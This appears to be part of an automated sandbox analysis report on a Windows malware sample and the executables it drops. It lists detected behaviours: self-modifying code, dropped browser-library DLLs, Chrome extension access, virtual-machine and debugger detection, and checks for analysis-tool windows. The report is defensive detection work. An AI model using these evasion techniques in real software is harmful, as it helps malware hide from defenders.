Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Special instruction interceptor: First address: 709D5C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Special instruction interceptor: First address: 709E20 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Special instruction interceptor: First address: 8C9BCC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Special instruction interceptor: First address: 8A94B6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Special instruction interceptor: First address: 934D8C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Special instruction interceptor: First address: 11BFAFE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Special instruction interceptor: First address: 1396AAB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Special instruction interceptor: First address: 13767E7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Special instruction interceptor: First address: 98DD63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Special instruction interceptor: First address: 98DE39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Special instruction interceptor: First address: B362DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Special instruction interceptor: First address: 98B6CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Special instruction interceptor: First address: BCC4E6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Special instruction interceptor: First address: 2ADD63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Special instruction interceptor: First address: 2ADE39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Special instruction interceptor: First address: 4562DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Special instruction interceptor: First address: 2AB6CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Special instruction interceptor: First address: 4EC4E6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Special instruction interceptor: First address: 993A1E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Special instruction interceptor: First address: 2B3A1E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Special instruction interceptor: First address: 65DD63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Special instruction interceptor: First address: 65DE39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Special instruction interceptor: First address: 8062DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Special instruction interceptor: First address: 65B6CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Special instruction interceptor: First address: 89C4E6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Special instruction interceptor: First address: 663A1E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Special instruction interceptor: First address: EFDD63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Special instruction interceptor: First address: EFDE39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Special instruction interceptor: First address: 10A62DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Special instruction interceptor: First address: EFB6CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Special instruction interceptor: First address: 113C4E6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Special instruction interceptor: First address: F03A1E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Memory allocated: 4D20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Memory allocated: 50C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Memory allocated: 4E80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Memory allocated: 51B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Memory allocated: 5390000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Memory allocated: 7390000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Memory allocated: 5290000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Memory allocated: 5350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Memory allocated: 7350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Memory allocated: 4B50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Memory allocated: 4ED0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Memory allocated: 4D00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Memory allocated: 51B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Memory allocated: 5420000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Memory allocated: 5240000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Memory allocated: 5640000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Memory allocated: 57A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Memory allocated: 77A0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsIIEBKJECFC.exe

Code function: 9_2_05120B55 rdtsc

9_2_05120B55

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1383	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 428	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1432	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7504	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep count: 1383 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep time: -2767383s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5600	Thread sleep count: 563 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5600	Thread sleep time: -1126563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 736	Thread sleep count: 1422 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 736	Thread sleep time: -2845422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8040	Thread sleep count: 428 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8040	Thread sleep time: -12840000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7808	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7676	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7676	Thread sleep time: -80040s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7676	Thread sleep count: 1432 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7676	Thread sleep time: -2865432s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe TID: 2016	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe TID: 5088	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe TID: 5440	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe TID: 7552	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe TID: 7984	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe TID: 3228	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe TID: 2936	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe TID: 6692	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe TID: 6724	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsIIEBKJECFC.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5EC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C5EC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2162844185.0000000000B2C000.00000040.00000001.01000000.00000003.sdmp, DocumentsIIEBKJECFC.exe, DocumentsIIEBKJECFC.exe, 00000009.00000002.2175824531.0000000000533000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 0000000A.00000002.2203947891.0000000001003000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000B.00000002.2208013300.0000000001003000.00000040.00000001.01000000.0000000E.sdmp, c3e1e78f6d.exe, 0000000D.00000002.2611450888.0000000000882000.00000040.00000001.01000000.0000000F.sdmp, 82b4c5cad2.exe, 0000000E.00000002.2486083185.000000000134C000.00000040.00000001.01000000.00000010.sdmp, c3e1e78f6d.exe, 00000011.00000002.2737873865.0000000000882000.00000040.00000001.01000000.0000000F.sdmp, accd68d705.exe, 00000012.00000002.2663619610.0000000000B1A000.00000040.00000001.01000000.00000011.sdmp, 82b4c5cad2.exe, 00000013.00000002.2670919726.000000000134C000.00000040.00000001.01000000.00000010.sdmp, 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe, 00000014.00000002.2758881775.000000000043A000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 82b4c5cad2.exe, 0000000E.00000002.2486797329.0000000001823000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2164783980.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000002.2621266837.000000000147E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000002.2621266837.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, 82b4c5cad2.exe, 0000000E.00000002.2486797329.0000000001855000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000000FB5000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000000F5B000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2729046669.0000000000FB5000.00000004.00000020.00020000.00000000.sdmp, 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2789320451.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000000FB5000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2729046669.0000000000FB5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,
Source: file.exe, 00000000.00000002.2162844185.0000000000B2C000.00000040.00000001.01000000.00000003.sdmp, DocumentsIIEBKJECFC.exe, 00000009.00000002.2175824531.0000000000533000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.2203947891.0000000001003000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000B.00000002.2208013300.0000000001003000.00000040.00000001.01000000.0000000E.sdmp, c3e1e78f6d.exe, 0000000D.00000002.2611450888.0000000000882000.00000040.00000001.01000000.0000000F.sdmp, 82b4c5cad2.exe, 0000000E.00000002.2486083185.000000000134C000.00000040.00000001.01000000.00000010.sdmp, c3e1e78f6d.exe, 00000011.00000002.2737873865.0000000000882000.00000040.00000001.01000000.0000000F.sdmp, accd68d705.exe, 00000012.00000002.2663619610.0000000000B1A000.00000040.00000001.01000000.00000011.sdmp, 82b4c5cad2.exe, 00000013.00000002.2670919726.000000000134C000.00000040.00000001.01000000.00000010.sdmp, 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe, 00000014.00000002.2758881775.000000000043A000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsIIEBKJECFC.exe

Code function: 9_2_05120A2E Start: 05120B4D End: 05120A4A

9_2_05120A2E

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process queried: DebugPort
